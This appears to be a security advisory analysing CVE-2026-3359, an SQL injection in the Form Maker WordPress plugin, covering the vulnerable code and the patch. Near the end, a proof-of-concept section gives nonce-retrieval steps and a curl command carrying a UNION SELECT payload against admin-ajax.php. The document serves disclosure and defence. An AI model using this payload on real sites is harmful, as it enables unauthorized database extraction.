Critical SQL Injection (CVE-2026-3359) in WordPress Form Maker by 10Web

Overview
- Published: 2026-05-05
- CVE-ID: CVE-2026-3359
- CVSS: 9.8 Critical
- Affected Plugin: Form Maker by 10Web – Mobile-Friendly Drag & Drop Contact Form Builder
- Affected Versions: <= 1.15.42
- Patched Version: 1.15.43
- CWE: CWE-89 Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)
Description
The Form Maker by 10Web plugin for WordPress is vulnerable to SQL Injection via the ‘inputs’ parameter. In versions up to and including 1.15.42, the plugin fails to sufficiently sanitize user-supplied data before incorporating it into SQL queries. This allows unauthenticated attackers to append malicious SQL commands to existing queries, potentially leading to the extraction of sensitive database information.
Root Cause Analysis (RCA)
The vulnerability stems from two fundamental architectural failures:
1. Unsafe Variable Substitution in SQL Templates
The plugin implements a “template” system for dynamic form field reloading. It takes user-supplied values from the inputs array and substitutes them into a $params string using str_replace(). This $params string—now containing untrusted data—is subsequently used as a structural component of SQL queries in backend database functions.
The primary failure points are:
- Lack of Context-Aware Escaping: User data was inserted directly into the query string without being wrapped in
wpdb::prepare()or equivalent sanitization at the point of substitution. - Decoding of Dangerous Characters: The use of
html_entity_decode()on the$whereclause actively converted safe, encoded characters back into executable SQL syntax (like quotes and semicolons).
2. Unvalidated Dynamic Method Dispatch
In fm_reload_input(), the plugin uses a portion of the user-controlled input key to determine which method to call on the view object ($this->view->$type(...)). Because there was no allowlist or prefix validation on the $type variable, an attacker could trigger arbitrary internal methods, leading to unauthorized behavior or information disclosure.
Vulnerability #1: SQL Injection in Dynamic Select Queries
Original Vulnerable Code
In version 1.15.42, functions responsible for fetching dynamic labels and values built queries using raw string concatenation:


// VULNERABLE: Direct concatenation of user-controlled variables
$where = html_entity_decode($where, ENT_QUOTES);
$query = "SELECT `" . $label_column . "` FROM " . $table . $where . " ORDER BY " . $order_by;
Patch Analysis: build_safe_dynamic_select_query()
The patch introduces a robust defensive helper, build_safe_dynamic_select_query(), which implements a multi-layered validation strategy:

1. Strict Identifier Allowlisting (Columns & Tables)
The patch applies a strict regex (/^[A-Za-z0-9_]+$/) to the $column and $table parameters. This ensures that only alphanumeric characters and underscores are accepted, effectively blocking characters used for subqueries or query termination. For table names, it also handles schema prefixes (schema.table) and wraps identifiers in backticks.
2. Clause Decomposition and Reconstruction (ORDER BY)
The ORDER BY clause is no longer treated as a raw string. Instead, the patch splits the input by commas, validates each individual term (column name + optional ASC/DESC direction) against an allowlist, and reconstructs the clause using safe, backtick-quoted identifiers.
3. Literal Extraction & Structural Validation (WHERE)
The most sophisticated part of the patch handles the WHERE clause:
- Blocklist: Rejects queries containing comment markers (
--,#,/*) or statement terminators (;). - Literal Parameterization: Uses
preg_replace_callbackto extract all single-quoted string literals from the input and replaces them with%splaceholders. These literals are stored in a separate$bindsarray. - Skeleton Verification: The remaining “skeleton” of the SQL query is validated against a strict character allowlist (
/^[A-Za-z0-9_.\s%<>=!(),-]+$/`) to ensure no malicious SQL functions or operators were smuggled outside of the extracted literals.
4. Execution via wpdb::prepare()
Finally, the reconstructed query and the $binds array are passed to WordPress’s wpdb::prepare() method. This ensures that the extracted user data is safely escaped and typed before the query is executed by the database.
Vulnerability #2: Unsafe Dynamic Dispatch & Template Injection in fm_reload_input()
Vulnerable Logic
The fm_reload_input() function processes AJAX requests to update form fields. It suffered from two flaws:
- Template Injection: User input was substituted directly into field parameters (
$params) that were later used in database queries. - Unsafe Dispatch: The
$typevariable (extracted from the input key) was used to call methods on$this->viewwithout validation.

Patch Analysis
The developers implemented two critical fixes in this function:
1. Pre-substitution Escaping
Before substituting user values into the $params template, the patch now uses $wpdb->prepare() to escape the value:
// Patched substitution logic
$safe_val = trim( $wpdb->prepare( '%s', $input_val ), "'" );
$params = str_replace( $str_key, $safe_val, $params );
This ensures that any quotes or special characters in the user’s input are properly escaped before they become part of the $params string, preventing them from breaking out of the SQL context in downstream queries.
2. Method Dispatch Guard
To prevent arbitrary method calls, the patch adds an allowlist check on the $type variable:
// Prevent unauthorized method execution
if ( !preg_match('/^type_[a-zA-Z0-9_]+$/', $type) ) {
continue;
}
if ( !is_callable( array($this->view, $type) ) ) {
continue;
}
This forces the $type to follow a specific naming convention (type_*) and verifies that the method actually exists and is callable, neutralizing the risk of remote code execution or unauthorized internal function calls.
POC Proof Of Concept
Step 1: Obtain a valid AJAX Nonce
- The request requires a security nonce (fm_ajax_nonce), which can be found in the WordPress admin source code under the variable fm_ajax.ajaxnonce.
Step 2: Trigger the SQL Injection
- Use the following curl command (assuming you have valid session cookies) to exfiltrate the database version:
curl -s -b cookies.txt \
-d "action=fm_reload_input" \
-d "page=form_maker" \
-d "nonce=[YOUR_NONCE]" \
-d "form_id=[ID]" \
--data-urlencode "inputs[[FIELD_ID]|type_own_select|injection]=' AND 1=0 UNION SELECT @@version #" \
"http://localhost/wp-admin/admin-ajax.php" | python3 -m json.tool
Proof of Concept Result
Upon successful execution, the server returns the result of the SQL injection inside the rendered HTML options of the JSON response:

Remediation
Users of the Form Maker by 10Web plugin should immediately update to version 1.15.43 or later. This version includes the security fixes described above and addresses the identified SQL injection and dynamic dispatch vulnerabilities.
Summary of Fixes
| Component | Vulnerability Class | Mitigation Strategy |
|---|---|---|
| Dynamic Queries | SQL Injection | Regex allowlisting, literal extraction, and wpdb::prepare() |
| Field Reloading | SQL Injection | Escaping values before template substitution |
| Field Rendering | Dynamic Dispatch (RCE) | Method name prefix allowlist and is_callable() check |